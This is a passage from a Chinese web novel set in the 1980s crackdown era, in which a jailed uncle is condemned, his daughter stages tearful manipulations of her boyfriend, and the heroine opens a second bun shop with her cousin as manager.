“大记忆恢复术”有两大类，有温柔的，有不那么温柔的。 林富贵很幸运地被安排了温柔的那一挂。等他熬得两眼发懵，视线模糊，口干舌燥，几欲昏倒之后，竟然仍顽强地表示：“我是冤枉的。” 不温柔的那个，就真得不那么温柔了。 不到两个小时，自觉是条汉子的林富贵，就哭爹喊娘地承认了罪行。 “是我！是我！我找胡老三干的！都是我！！！” 经过两天两夜的审讯工作，安河市开启严打之后的第一起流氓案，算是板上钉钉了。 王军之前为了防止林富贵家人发疯，派了俩同志过来保护林珊一家。赵桂花知道发生什么事儿之后，整个人又暴走了一圈，被林珊安慰了半天才冷静下来。 “太欺负人了！从我结婚开始，他们一家就欺负我们，二十多年就没停过。我男人和儿子都没了，他也不消停，又跑过来害我闺女，惹不起我躲得起总行吧？不！他偏偏还追着过来恶心我！干不过我家包子铺，他竟然又想害我闺女！还要——呜呜呜！下这么黑的手还是不是人啊！！！！呜呜呜呜呜！” 赵桂花哭诉着林富贵的罪行，林珊也没闲着。 除了卖包子之外，她不但把林富贵对她家的恶劣行径，全部整理成了文字稿，还附带了一份揭发林富贵倒买倒卖、走私烟酒的告发书。 第39章 第39章 林兰的心思 有了林珊这份告发书, 以及王军找到的那些倒卖和走私的证据，别说林富贵翻不了身，就连纱厂也迎来了大震荡。 被抓的, 被调查的，被撤职的, 被批评的，一时间整个人厂子人心惶惶, 大家都在骂林富贵这个王八蛋，要不是因为他, 他们用得着被查吗？ 最精彩的要是林富贵的大儿子林爱民, 为了保住自己的工作，他竟然带头公开批斗他老爹。不但写在了厂报上, 还在大会上拿着喇叭痛彻心扉地表示, 自己没有林富贵这个父亲。林富贵对不起国家, 对不起人民，对不起厂子, 他林爱民绝对不会跟他一样的！他忠心爱国, 一心向厂, 日月可鉴！ 厂里对此说什么的都有，有接受的，有唾弃的，还有一瞬间觉得自己回到了六十年代的。 林兰那天在医院醒来之后，第一反应不是担心她老爹, 而是我该怎么跟贺启明说这个事儿。 林富贵被抓, 林兰不觉得自己有本事把他捞出来。这个时期的严打可是非常可怕的，偷个东西都有被毙了的，更何况是流氓罪。 虽然她还不知道具体什么情况, 但猜应该是要她爹又不知道抽什么风了，非要去害那棒槌，结果反被人抓局子里了。出了事儿她也难过，只是她更头疼该怎么跟贺启明解释。 头脑风暴了半天，她决定还是遵循人设。 于是，她哭着把林富贵被抓的事儿说了，然后痛彻心扉地表示自己毫不知情，再加上她知道贺启明家的一些情况，所以，她更加凄惨地瞎编道：“我以前也问过我爸，我说你为什么那么恨二叔啊？他哭着跟我说，是因为我爷爷偏心，什么好事儿都想着我叔，好吃好穿的都给我二叔，连当兵这事儿都先仅着我叔去，家里的房子也是我二叔家的大，对我二叔家的孩子也比对我们好，所以我爸他……就特别恨……” 贺启明听得心里不舒服，他是家里老二，母亲又是父亲的续弦。虽然表面上看他们一家三口住一块儿，好像挺幸福的。其实他一直都明白，大哥在自己爸爸心目中的位置要更重一些。其实不仅是大哥，就连大哥的母亲，在父亲心里的位置，恐怕也比他妈来得重要。 他小时候不懂那些，大了才慢慢品出味儿来，所以在面对贺正岩的时候，心里难免有些不平衡。但偏偏大哥对他又不错，他也不好耍小性子让父亲生气。 总之是一言难尽。反正他听了林兰的话之后，对林富贵的唾弃消了不少，还忍不住开口安慰林兰：“你放宽心，不一定就能判得特别重。” 林兰流着泪珠哽咽：“我、我劝过我爸很多次了，可是他总是连一句都听不进去！这回闯下这么大的祸，我们家可怎么办啊！” 她哭得很有技巧，既楚楚可怜，又不至于声音大到让人心烦，简直把贺启明心疼坏了。 “我、我得给我妈打个电话去！”说着说着，林兰突然从病床上起来，紧接着下一秒又“虚弱”地晕了回去，嘴里还不忘哭诉着：“我妈……我妈肯定吓坏了，呜呜呜呜……” 贺启明被她哭得百爪挠心，想了想后，一咬牙：“这样，我先问问我爸的秘书，看看这事儿有余地没有。” 林兰见自己的另一个目的已经达到，立刻梨花带雨地说：“不不不，千万不要！我不想影响你……” 她之所以这么哭诉，除了摘清自己，还想试试看能不能说动贺启明。如果他肯为了自己找人，那就说明自己在他心里 很重要。 但至于要不要找人，她其实有些纠结。 如果她大义灭亲，不让贺启明去找人，他家里可能会高看她，觉得她跟林富贵不一样，出淤泥而不染。当然了，也有可能被认为冷酷无情，连亲爹都不救。 而找人去救的话，万一对方不答应，还被认为品行不端，上梁不正下梁歪，完全上不了台面，那就彻底亏大了。再一个就算是答应了，也未必能救成，同样还有被贺家认为自己差劲，跟亲爹是一丘之貉的风险。 这样的话，她一切切割的行为，就都没有意义了。 想来想去，林兰决定欲擒故纵，“启明，你千万不能去找人啊，我爸爸毕竟犯了错，我又是学法律的，我不能知法犯法的！更不能害你家人去做这件事！我爱我爸爸，但是我也爱你啊，我不能让你冒这么大的风险！” 贺启明感动坏了，更加坚定了要替林富贵疏通关系的决心，他真心实意地摸着林兰的头发，轻声道：“你是我女朋友，你家里出了事儿，我怎么能袖手旁观呢？别哭了，我自有打算，你先把点滴打完，身体永远是第一位的。” “不要启明！你答应我绝对不去找人帮忙！拉钩！”林兰哭着要他拉钩，满脸一副为他担忧的模样。 贺启明为了安抚她，“好好好，拉钩拉钩，我不去不去，你别乱动，待会儿针又跑了。” 林兰做出一副相信贺启明不会再去找人的模样，躺回病床流泪去了。 这是目前最好的办法了。 她表面义正言辞地拒绝，贺启明则为了她偷偷去找人救她爸，就算到时候闹开了，问就是她什么都不知道，都是贺启明自作主张去办的。贺家人到时候也不好太过苛责她，毕竟是你儿子主动的，我完全被蒙在鼓里啊。 林珊在交上去那两份信之后，就没再一直紧盯案子的进展了。 反正有王军在，有什么不对劲的，她们肯定第一时间能知道。而且他还表示这案子因为被当做了典型，所以办得特别瓷实，上头极其重视，还拿下了一个不小的干部，到了这个阶段，已经不是谁动用一些关系就能解决的了。 不管是谁，只要想走后门，就没有不怕见光的。 对面的包子铺，在林富贵被抓的第二天就关门了。这条街一切都恢复到了以往的状态，只有客人们不时会说几句林富贵的闲话，怒骂两句，唏嘘两句，再警醒两句也就完事了。 林珊再次开始着手开设新铺子的事儿。 之前她看上的那个店面，因为林富贵的事情给耽误了，等她抽出空再去看的时候，人家早已经租出去了。旺铺难求，她只得再好好寻觅一下了。 不过这期间也不能闲着，因为这个月刚发了新规，安河允许村里人进城工作了。林珊想的第一件事就是等表哥赵福过来送面的时候，问问他有什么想法没有。 赵福现在送货骑得都是三轮车，因为既要送面粉又要搬来各种蔬菜，自行车已经不够用了。给大姑送了这小一年货，家里已经挣下一些钱了。再加上这三轮车都是林珊赞助的，他就出个体力，所以每回来都是纯赚。 赵福人虽然老实，却一点不傻。 所以林珊一问他，村里人能来市里干活之后有什么打算，他立刻来了精神，笑着问：“珊妹子，你这是有啥好活儿要介绍给我吗？” 林珊笑了，“我们准备再开一家包子铺，福哥要是有心气儿，我想培养你当我们新铺子的管事。” “啥？管、管事……”赵福愣住，反应过来之后瞬间高兴极了，一跳老高，眼睛还直放光，“有有有！！！有心气儿！有心气儿！” 他做梦都想挣大钱，前些日子村里有人偷跑去南方干活了，说是一年能挣五、六百呢，他其实也有点儿心动，不过想到大姑这儿需要人，也就歇了心思。 没想到大姑家这就要开新铺子！可见卖包子真得特别赚钱啊！ “珊妹子！你让我干啥都行！”赵福激动得不行，恨不得立刻撸起袖子开干。 林珊笑着让他冷静一下，“哥，不慌，你这几天先过来铺子干着，一边干，一边看咱包子铺是怎么运转的。其他的事儿，咱之后再慢慢来。” “好好好！没问题没问题！”赵福猛拍着胸脯，反正他平时也就是在隔壁村的砖厂搬砖而已，累一天也给不了几个钱，辞就辞了。 林珊继续说：“铺子开了之后，如果跟老店生意差不多，我给你开80块一个月工资。如果包子卖得特别好，咱年底还有分红，到时候看具体情况再定。怎么样？” 赵福被那一声“80”给震傻了，瞪着大眼问：“八、八、八十？一个月？！一个月给八十？！” 林珊：“是。” 赵福快速算了算数，“那一年可就是九百多啊！” 林珊：“干得好的话，年底有分红。” 赵福差点儿厥过去，“还还还还有分成儿！！！妹子，你快掐掐哥，看看哥是不是在做美梦啊！” 林珊笑了，任由他缓了会儿。这年头纱厂主任也才92块钱，更何况之前连肚子都填不饱的赵福了，一下听见这么些钱，心里肯定激动。 也幸亏她把赵福叫来家里谈事儿了，不然就他这大嗓门，肯定嚷嚷的满街道都听见了。 她选赵福，除了因为他是赵桂花最喜欢的大侄子，想帮衬他家里一把。更重要的原因是赵福这人办事妥当。 收麦子去粮站磨面的事儿，现在都是他在负责。这可不是简单的事儿，要偷偷摸摸，要打通粮站的关系，更要管理村里的人脉。他人老实本分，脑子却转得不慢，人缘儿还好，是个非常合适的店长人选。 第40章 第40章 新店启动 林兰跟家里联系上之后, 算是彻底知道了事情的原委。 她话都没听完就气到手抖，恨不得立刻撂下电话冲回去摇醒她爹！她在家的时候千叮咛万嘱咐，劝了又劝, 到头来还是不听！非要自己去搞事儿！而且还是那种一个弄不好就会被抓的大事儿！ 之前她爹还骂二哥蠢，现在他自己有什么区别吗？ 电话那头刘淑芬还在哭个不停, 林兰彻底暴走：“哭哭哭，就知道哭！都到这个地步了, 哭有什么用？之前说什么都不听，现在出事儿了知道给我打电话了？我还在上学！我能有什么办法！” 林兰现在都有点儿后悔设计贺启明去帮忙了。她爹干得这事儿未免太不光彩了！甭管两家有什么恩怨, 看在外人眼里, 就是他一个大伯要下死手去害自己侄女！ 这个林珊也真是狡猾，看来以前还是小看她了, 搞了那么多回, 竟然毫发无伤！她爹和她哥居然全都栽在她手里了！林兰是又气又难过, 事情到了这一步，只能看看贺启明那边怎么说了。 决定要救林富贵之后, 贺启明就抽空回了趟家。 这种事儿他可不敢直接去找贺振华, 所以偷偷摸摸找到周秘书请他替自己拿拿主意。 周秘书不是第一次跟贺启明打交道了, 基本属于小伙一张嘴，就知道他要拉什么屎的程度。不过这回周秘书还是有些意外，“你有对象了？” “嗯，刚处上没多久，是我学校的我师妹。”贺启明笑着承认, 随即发愁道：“哥, 我女朋友都哭病了，您就先帮我问问到底怎么个情况吧，有余地咱就办, 没有余地也不要为难。不过您可千万别告诉我爸啊！” 周秘书挺为难，“现在全国都在严打，别说流氓罪了，就是偷鸡摸狗抓着了也得重罚。对方正撞枪口上了，我这么贸然去打听情况，不但没用，反而会影响到领导的声誉。” 贺启明不是不懂这个，所以他才跑来找周秘书商量，“哥，那您说怎么办，我总不能眼睁睁看着她爸被枪毙吧。” 周秘书给他出主意 ：“你就把自己当成是一个普通的学生，对那小姑娘尽到一个对象的职责就可以了。情感上可以支持，行动上咱必须遵纪守法。” 贺启明知道这是明确拒绝了，心里有些不乐意，他其实就是想让周秘书帮忙去问一声。他知道哪怕周秘书只是打个电话下去问一嗓子，那小地方的人就会有天大的压力，办案子的时候肯定会手下留情。根本不需要张嘴要求任何东西。但是他也懂周秘书的顾及，毕竟不能因为这个连累他爸。 周秘书见贺启明有些蔫巴，拍了拍他的肩膀，语重心长：“启明啊，领导的为人你再清楚不过了，在这些方面眼里可是容不下一粒沙子的。别说现在严打，就是平时这事儿咱也不能出手啊。流氓罪，那是什么人品才能干出来的事儿？” 贺启明被他说得有些羞愧，流氓罪确实丢人，而且还不是被人冤枉的那种。 “行、行吧，我知道了……谢谢哥。” 周秘书笑着目送他离开，转身就去了贺振华的办公室汇报情况。 贺振华听了事情的原委之后，皱着眉头叹气：“这小子的小聪明还是太多了。” 周秘书不敢说话。 贺振华看了眼桌上的照片，一张是他们一家三口的，一张是贺正岩单独的证件照。 他不禁感慨道：“他要是能有正岩一半优秀，我就满足了。” 周秘书实事求是地说：“启明还是有分寸的。” 贺振华哼了一声，“算他还知道天高地厚。不过能被一个小姑娘哭得没了魂，敢跟你开这个口，说明他还有很大一段路要走。想走司法这条路，没有一身正气的话，迟早要被侵蚀。” 周秘书不能跟着领导吐槽，只能硬着头皮替贺启明解释：“启明还小，以后就知道了。” 贺振华哼声更大了，“他哥像他这么大的时候，都打过好几回胜仗了！枪林弹雨里拿下的军功，不仅需要勇气，还需要智慧和钢铁般的意志！那小兔崽子考上个大学，就天天觉得自己聪明绝顶，无人能及了！我真的！我……唉！” 周秘书小声说：“您消消气，正岩这么优秀，都是您跟老将军教育得好。启明肯定也差不到哪儿去的，考大学也是千军万马过独木桥啊，您再给他一点儿时间。” 贺振华叹了口气，没再吭声。就不拿家里这些事儿不难为小周了，养正岩他半分力气都没出过，都被小周说成教育得好了，接下来恐怕编得更离谱。 帮不上忙的贺启明，垂头丧气地回到学校之后，主动把情况跟林兰说了。 林兰悬着的心死了，还不忘焦急地立人设：“你不该背着我去找家里人帮忙的！我不能连累你！” 贺启明叹气：“这叫什么傻话，更何况我也没帮上忙。” 林兰哽咽：“反正你以后也不许去求家里人帮忙！我、我得回家了，我怕再晚的话见不到我爸最后一面。”严打时期处理案子非常快，根本不像后世有一审二审和申诉再审，时间很急迫，她得赶紧回家。 贺启明没有帮上忙，有些愧疚，他心疼地搂着她：“我陪你回去，我待会儿就托人去买票。” 林兰擦擦眼泪，虚弱地点点头。 小情侣坐在一块儿的亲密模样，被前来安慰林兰的杨清明逮了个正着。 他安慰林兰的心思顿时散得一干二净，取而代之的是满腔的愤慨。 好啊，着急忙慌跟他提分手，原来是因为找到下家了啊！真是高啊，这顶绿帽他不知道带了多长时间才被人给拔下扔了！ 哭吧！使劲儿哭！林富贵被枪毙纯属活该！居然敢对林珊下那种死手！真是够不要脸的！他全家现在都特别庆幸没找林兰当儿媳妇，不然脸早丢光了！ 杨清明特别想气愤地冲到俩人面前，痛骂这对狗男女一顿，可是他又害怕贺启明会揍他。毕竟那家伙人高马大的，自己长得比较清瘦，又没他高。听说贺启明体育活动还特别厉害，别到时候弄顶了，再给自己收拾一顿，那就太得不偿失了。 不过他还是咽不下绿帽子的痛，不争馒头争口气，所以他把林富贵的“光荣事迹”洒满了整个校园。不出一天，全校就都知道贺启明的对象林兰，她亲爹是个□□犯！走私犯！她全家都是倒买倒卖的坏分子！ 林兰被人指指点点，百口莫辩，哭着跟贺启明搭上了回家的火车。 林珊又寻觅了一个礼拜，终于找到了一间合适的铺子。地点照旧是在城南，离之前看上的铺子不远，甚至把那个还要再旺一点儿。 前头是汽车站，后头是居民区，左边是招待所，右边这一侧全是小商铺，卖吃的，买礼品的，卖衣服的，应有尽有。 人流量巨大，里头空间又大，房租自然就便宜不了，竟然开价要二十五块一个月。 林兰找人磨了房东半天，才减下来一块五，最终以23.5块一个月拿下。签了合同，交了租，就要开始着手装修的事儿了。 因为都是熟门熟路，所以干起来非常顺利。徐大爷带着徒弟们一起上阵，每天按部就班地施工装潢。 赵福每天都在老铺子里干活学习，已经弄清整个店要怎么管理了，那些店规守则他一清二楚，卖起饭来也是手到擒来。 林珊非常满意赵福的进步，开始带着他跑新店的装修，挑选桌椅，定制招牌和菜单，以及采购猪肉。 赵福学得快，做起事来很踏实，相信过不了多久，他就能独当一面。 新铺子那边有了店长人选，接下来就是招员工了。 林珊面试人的时候，让赵福在一旁全程看着，送走两个人之后，他好奇地问：“这两个为啥不行啊？”他看着挺好的，人瞧着挺老实的，一看就能干活，要得钱还不高，又识字儿。 林珊笑着解释道：“那个‘老实’男的，应该就是来偷食谱的。细皮嫩肉，手腕处还有个淡淡的手表印儿。家里很明显不差钱，来店里除了偷食谱，我想不出别的原因。另一个大姐嘛，有点儿太闷了。脸色也不好，我怕她有点什么病，或出点儿什么意外，咱可就吃不了兜着走了。” 赵福恍然大悟，“这里头道道儿挺多啊，这要是我选人，估计咱就栽了。” 林珊摆摆手，“栽不至于，以后见得多了就知道了。”现在的人普遍都比较单纯，以后什么五花八门的人都有，不得不防啊。人一但谨慎惯了，就容易多考虑一些东西。 一天下来没有找到合适的人，赵福临下班的时候，有些欲言又止地对林珊说：“那个……那什么，珊妹子，你觉得我媳妇儿，能、能干服务员吗？” 林珊笑了，“你觉得她合适吗？” 赵福被她这么一反问，顿时有些怔愣，不过见林珊的表情不是像是不同意，倒像是真得在询问他，赵福想了想，说：“我觉得……挺合适的。王芳她上到高中了都，算数还特别快，平时在家里啥活儿都干，做饭也是把好手，就我妈那抠搜劲儿，厨房啥料都不舍得买，她都能做出特别好吃的挂面汤、疙瘩汤，白菜也炒得好吃。王芳她人还老实，又是咱自家人，不用怕偷食谱啥的。” 林珊想了想，“行，你明天让她过来试试吧，先在老铺子培训一下。” 以前没答应用王芳是政策原因，和怕她一个女人大晚上回村不安全，现在两口子一块儿回，她自然放心多了。 40-60 第41章 第41章 末路富贵儿 王芳得知能去铺子干活之后, 兴奋得一晚上都没睡好。 第二天顶着两个黑眼圈，被赵福拉到了城里。 林珊让薛凤琴负责带她，并且把所有铺子里的规矩都讲得一清二楚。虽然是自家人, 但是没有规矩不成方圆，不论是赵福还是王芳, 大家都得照章办事。 王芳记得还挺快，是因为昨天晚上她就缠着赵福给她讲店里的事儿了。她主要是怕自己干不好, 到时候表妹子碍于大姑的情面，不好意思开除她, 那岂不是 让两家生分了。 她嫁到赵家之后, 过得最好的就是这一年了，要不是大姑家的珊妹子, 他们哪能吃的上肉啊。所以她必须好好干, 必须替大姑家把新铺子给照顾好！ 林珊安排好王芳后, 就跟赵福一块儿出去忙新店的事儿了。装修事杂，一会儿缺这个了, 一会儿没那个了, 柜子凳子要刷漆了, 玻璃要重新换了，总之一刻都闲不得。 郭有财最近跑来买包子，有好几回都没见到林珊了。一问赵桂花才知道，这小丫头被林富贵那么迫害都没歇歇，居然这么快就要着手开新铺子了！ 之前他还担心林珊扩大店面会亏, 结果生意比以前好上两倍都不止, 有时候就连他过来买熟肉都一块儿不剩了。熟肉卖得这么好，利润肯定小不了，不然不可能有多余的资金去开店。 郭有财很好奇林珊是怎么想的。这年头卖饭的, 就算把铺子做大之后，也只是会选择把店面搞大一些，装潢搞好一点儿，多招几个人。有那特别爱折腾的，可能多半会选择换个高级点儿地方开铺子。不会一上来就直接开分店得。毕竟再重新支一个摊子的难度，要远大于在原来的基础上扩建。 而且开饭店是个辛苦活儿，所以很多人有了钱之后，就开始干那些利润更大的买卖去了。 林珊这小丫头有钱之后，想得不是干别的买卖，而是开分店。这让郭有财有点儿弄不清她到底是聪明还是傻了。 林珊当然不是傻了，她开分店是为了迅速扩张打响品牌，之后走加盟发展的路子。别的买卖她当然也要做，只是目前还不是时候。 粤城那里如果她厚着脸皮求郭有财，对方应该会帮她牵牵线。但是现在去一趟粤城，少说要花个三百块钱，再加上拿货的钱，就单拿进衣服来说，至少要买个一千块才对得起路费吧。她一个人一次能背多少货回来？再加上一个人的话，挑费就得加倍。细细一算，也不比卖饭轻松多少。 而且，她家包子铺已经在城西打出了名堂，迅速开分店扩大名声和加大营收，才能让她有资本去分化两个产品，走专业化路线。 现在包子和熟肉是放在一块儿卖的，明天周一，她会去工商局注册熟肉的商标。然后等汽车站旁边的新铺子开始盈利之后，她就会把熟肉和包子分开。往后再开店，熟肉走熟肉的路，包子走包子的路。方便别人加盟，也方便收费和管理。 这头林珊忙着干事业，牢里的林富贵被彻底宣判死刑。 林富贵哭也哭过了，骂也骂过了，知道谁都救不了自己之后，彻底疯了。整不死林珊母女他不甘心，胸口憋得生疼，都气吐血了，每天在牢里不是碰头就是咬牙。狂躁得就像一条疯狗，狱友都嫌弃得喊着要换监号。 他想不通，他恨啊，恨林珊，恨赵桂花，恨胡老三……恨了一圈儿下来，发现最恨爹娘，最恨林老二！ 都是他们毁了他！他没有错！没有错！他不想死！真的不想死啊！ 疯过闹过，林富贵开始狂哭，狂哭累了，又开始大笑。一惊一乍的，被收拾了一顿还是不肯罢休，躺在地上又开始骂人。说要把林珊强|奸一百遍，然后扔窑子里去，让她被人打烂，搞坏，最后再弄到山沟沟里，供全村男的享用！ 骂得过于难听，狱警把一个汗衫塞他嘴里，整个牢房才得了会儿清静。 林兰带着贺启明回来之后，第一件事就是去公安局。回来的路上林兰已经想好了，林富贵应该是真得没救了，但是她不能让这件事毁了自己、毁了全家。 她是难过，但是毕竟活过一世了，跟林富贵也做过一世父女了，所以心里的痛苦并不算特别重。无力回天的事情她没有办法，只能为了活着的人打算。 她要做人上人，绝对不能被绊倒在这里！ 所以当公安同志把林富贵的罪名全部报了一遍之后，林兰捂着脸滑落到地上痛哭：“我爸、我爸怎么能做出这种事儿呢！！！呜呜呜呜……林珊再怎么说也是我们的亲人啊！他、他、他这么做也太过分了！呜呜呜……同志，我、我爸错了！他混蛋！他大错特错！我替她向林珊道歉！向你们道歉！向社会道歉！” 林兰说着就开始磕头，吓得一旁的贺启明赶紧拦她。 公安同志也立刻闪过去扶她，“小姑娘，现在可不是旧社会，你先冷静冷静，你爸的错是你爸的错，他会接受应有的惩罚，你虽然是他闺女，但是也不用这样下跪。而且，就算要道歉也是跟人家受害人道歉，别跪了，快起来。” 林兰被两人从地上拉了起来，她虚弱地靠在贺启明的怀里，佯装坚强懂事的模样，哽咽道：“是，您说的对！我爸对不起林珊，我们全家都对不起她，我这就去跟她道歉！” “嗯，这就对了。”公安同志点点头。 林兰抹了把泪，红着眼眶问：“同志，我、我们什么时候能见见我爸？” 公安同志想了想，“后天吧，到时候会通知你们的。” 林兰虚弱地点点头，鞠躬道谢后，被贺启明搀扶着走出了公安局。 “先歇会儿吧。”贺启明把她扶到路边的石墩上，心里一时说不出什么滋味。这林富贵也太可恶了，还有他不敢干的事儿吗？刚才人家同志报罪名的时候，他恨不得找个地缝钻进去。 幸亏周秘书没答应他打这个电话，不然这脸可就丢大了。 唉，可怜的林兰，她肯定也不知道自己父亲这么坏吧。不然也不至于差点哭昏在里头，还给人下跪！ “启明……”林兰呆滞地看着前方，双眼红肿，泪珠静静得往外淌。 “诶，我在呢，你说。”贺启明伸手替她擦了把泪。 林兰深吸口气：“我、我们分手吧……”她做出一副忍痛割爱的模样，话音说完的一瞬间，泪水也恰好彻底决堤。 贺启明知道她是怕连累自己，见她痛苦成这样，心疼得把人揽进怀里，安慰道：“我是不可能分手的。人家公安同志说得对，你爸是你爸，你是你。他犯错凭什么要你来承担！” 林兰眼泪婆娑地看着贺启明，瞬间爆哭起来，嘴里还不忘说道：“启明，我爸……我爸他为什么要这样啊！！！他对我很好，但是他又做出这种事儿来！我、我不知道该怎么面对他！呜呜呜呜……” “我都懂，我都懂。”贺启明轻拍着她的背，“哭吧哭吧，好好哭一场会好受一点儿。” 林兰点点头，窝在他怀里痛哭，哭到后来实在没泪了，她才顶着一双肿眼泡抬起头，“启明，我爸爸做了错事，我必须做些什么。虽然知道弥补不了对方受得的伤害，但是我必须去跟林珊道歉。我爸他不应该这样，即使两家有恩怨，他也不能这么狠心。” 贺启明点点头，他也是这个态度。 “我妈和我哥他们肯定不会同意的，我自己去，就算被林珊一家打死我也认了！”林兰作出一副要英勇就义的模样，眼神坚定无比。 贺启明安慰她：“不会的，只要有我在，就没人敢动你一根手指头。” 林兰掏掏裤兜，“我手里还有五十块钱，虽然不是很多，但是我想都赔给她们。” 贺启明暖心地笑了，“好，我出一百五，咱凑个两百块给人家。” 林兰做出一副不好意思拿他钱的模样，拒绝道：“不行，我家的错误，怎么能花你的钱。” 贺启明：“我是你对象，怎么不能花？” 林兰不忘自己的倔强小百花人设，“那不一样的，即使、即使咱们将来结了婚，你的钱也是你的钱，我怎么能理所当然地花呢。再说了，我自己有能力挣钱。” 贺启明再次被她感动到了，这世间居然真的有不为他家庭出身的姑娘。之前不同意他去求家里，现在又不想花他一分钱。俩人在一块儿之后，他就送过她一块儿手表，还被她说以后不要再送了。说哪怕是一躲路边的小野花，只要是他送的，她就会很开心。 虽然林富贵是个畜生，但是林兰跟他可是一点都不一样！ “那当我先借给你的行吗？五十块太少了，我怕对方觉得咱们没诚意。”贺启明一边掏钱一边劝道。 林兰佯装纠结地想了一会儿，最后“勉为其难”地答应了，“说好了是借你的，我给你写个欠条。”然后二话不说就从包里拿出纸笔，打了个欠条给贺启明。 贺启明看着欠条，心里百分百确定自己的女朋友，就是一朵高贵又圣洁的白莲花。这世界上可能有外表比她好看的姑娘，但是再也没有比她品德更高尚的人了！ 第42章 第42章 心美人更美 林珊在外头忙了一上午, 下午终于有时间回铺子歇歇脚了。 赵桂花倒了杯凉白开给她，心疼地替闺女擦汗，这都是十月份了, 还能热成这样，就知道路上骑得有多快了。 “你以后慢点儿, 别着急忙慌的，啥都没有你平平安安的重要。”现在家里也不缺钱, 没必要拼成这样。 林珊笑着应了。她这么拼除了想挣更多的钱之外，还有一个原因是她要准备考大学了。她想趁着这不到一年的时间, 把铺子的生意安排妥当。尽量多培养一些人, 这样等自己离开安河之后，不至于所有人都抓瞎。 所以她这才整天带着赵福干着干那的, 夜里回到家还要给赵桂花和林红讲店里这些规矩的用意, 以及为什么要开分店, 还有“加盟”到底是什么意思。 现在已经进入十月中旬，等新铺子开张之后, 她就要去对面高中安排复读的事儿了。这年头上学没有那么严格, 学校也都不是各个为了升学率在奋斗的。大部分老师因为历史原因都只是高中水平, 却都已经开始教高中了。 经常过来吃包子的客人里，有不少是对面高中的老师，其中还有以前教过林珊的。附近几个厂的孩子，基本都在城西高中读书，林珊自然也不例外。 不过因为她学习不好, 家境不好, 名声也不怎么好，所以班主任邢艳红对她很差劲，几乎已经到了针对的地步。看不惯她的长相, 看不惯她走路的姿势，看不惯她说话的声音，看不惯她笑，看不惯她哭……林珊浑身上下就没有一处，是不被邢艳红批评的。 后来学校里传她上赶着追求杨清明的时候，邢艳红和杨清明的班主任还特地把她叫到办公室，劈头盖脸地骂了一顿，罚站一整天不说，还写了一万字的“自爱”。 骂她的那句“癞蛤蟆想吃天鹅肉”就是从那时候传出来的，林珊也是从那时候开始没有朋友的。 邢艳红知道“爱国大肉包”是她家开的之后，一次也没来过，不然林珊不可能见过那么多任课老师，却从来没见过她。林珊非常确信，这人现在还在学校教书。 有些仇不是不报，是时候未到。原身受得那些侮辱，现在都储存在她的脑子里，这事儿不可能简简单单收场。就算不为了她自己，也得为祖国的花朵着想。有些人连人都不配做，更何况是教书育人。 早在六月底的时候，林珊就已经跟常来她家铺子吃饭的黄月萍老师聊过了。 黄月萍四十多岁，是学校高三的年级主任，因为教学优秀，所以校长让她负责一直带高三。黄月萍也是当年林珊被罚的时候，唯一在办公室批评邢艳红处罚过分的老师。 所以黄月萍第一次上她家来吃面的时候，林珊就认出她来了。礼貌的自我介绍之后，黄月萍对她现在的转变是既意外又欣慰，从此便经常过来光顾她家生意。 之前高考结束后，林珊趁着店里人少，询问了黄月萍一些复读的事情。黄月萍以为她要帮别人打听，没多问就把要求说了。基本就是考试过关之后，交上复读费就能去读书了。毕竟这年头考不上大学的是绝大多数，有心为此继续奋战的也不在少数。所以每个高中都有大批复读生，有的甚至都奋斗四五年了还不放弃。毕竟这改变命运的机会，谁不想抓住呢。 林珊原本打算在九月开学之前就去办这事儿，但谁让她正好遇上林富贵发疯，一来二去就耽误了些时间，不过这都不打紧，反正又没有什么硬性要求必须啥时候报道。 入学考试她不担心，钱也有，迟一阵子也没什么。 咕咚咕咚灌下一杯凉白开后，林珊趴在桌上休息，早上起得早，这会儿还真有点儿累了。 店里这会儿没客人，其他人也准备休息了。赵桂花刚准备叫上林珊回家眯一会儿，门口突然进来两个不速之客。 林兰和贺启明除了带着两百块钱，还买了一网兜苹果。 两人携手来到“爱国大肉包”前，表情颇有一副要上战场的悲壮。林珊看着这刺眼的招牌，调整了一下呼吸，眼眶瞬间泛红。 贺启明紧紧握住她的手，给她爱的鼓励。 “准备好了吗？” “嗯。” 然后…… “好你个不知死活的小妮子！竟然还敢来我家铺子！”赵桂花一开始以为自己看错了，门口这人看着像林兰，但是身边的男同志却不是杨清明。这小伙长得挺精神，穿得也好，又是皮鞋又是手表的，人还白白净净，一看就不是安河这小地方能出来的人，而且两个人的手还紧紧地握在一块儿。一时还真给她弄懵了。 不过林富贵家的人化成灰她都认知，所以定睛一看，确认那是林兰之后，赵桂花直接破口大骂。 林珊和店里的所有人，都被她这一嗓子给嚎醒了。 “婶子……”林兰梨花带雨，表情真挚，“我、我是来给林珊道歉的。” 林珊缓缓地抬起脑袋，睡眼惺忪地看向门口。 陪林兰来道歉的贺启明，瞬间倒吸口气。 老天爷！ 这……这也太漂亮了。 没想到这种小地方，还有画报样式儿的姑娘！这是谁啊？叫啥名啥？太好看了吧！ 林兰全情投入在戏里，丝毫没有注意到身边人的异样。 林珊打量着门口这俩人，又瞄了瞄他们交握在一起的手。如果不是不合适，她真想拍手给林兰鼓鼓掌。这姑娘了不得啊，这么快就换男人了。 也是，杨清明那种货色出了安河肯定就不够看了。 这新钓上来的小伙子，至少从明面上来看，比杨清明高档多了。用现代话说，就是从头到脚都透着精致。发型一丝不苟，像精修过似的。衣服一点儿褶子都没有，单看布料和剪裁就知道是好东西，连纽扣都反着光，像是用贝壳做的。 更别说脚上那双锃亮锃亮的皮鞋了，谁看了不说一句“有面儿”。脸蛋儿长得还挺好，个头也高，挺有气质的。说实话，配林兰是绰绰有余了，尤其她这会儿哭得有些猛了，五官有点变形，把原本小家碧玉的气质给挤得只剩下五分。 “我呸！少假惺惺的！你做给谁看呢这是？！还嫌你爹判得轻是不是？！”赵桂花挡在林珊面前，怒斥林兰。对林富贵一家的怒火，半分都没消散过，老子、儿子、闺女，有一个算一个，他全家就没有一个好东西！ 林兰可怜兮兮地哭诉：“婶子，我、我真是来道歉的……” 她抽出被握着的手，从兜里掏出两百块钱，双手递过去，整个人楚楚可怜地看着赵桂花和林珊：“我、我爸做了这么大的错事，我知道我们没办法弥补，但是如果不来看看你们，我又实在过不了自己心里那关。婶子，林珊……你们就收下吧！” 说着，她“噗通”一声跪下了。 贺启明被惊回了理智，赶紧弯下腰扶她，林兰对他摇摇头，继续跪着哭：“对不起，对不起，我们家真的很对不起你们，我不奢求婶子和林珊原谅我爸，我只想替他来跟你们说声对不起。” 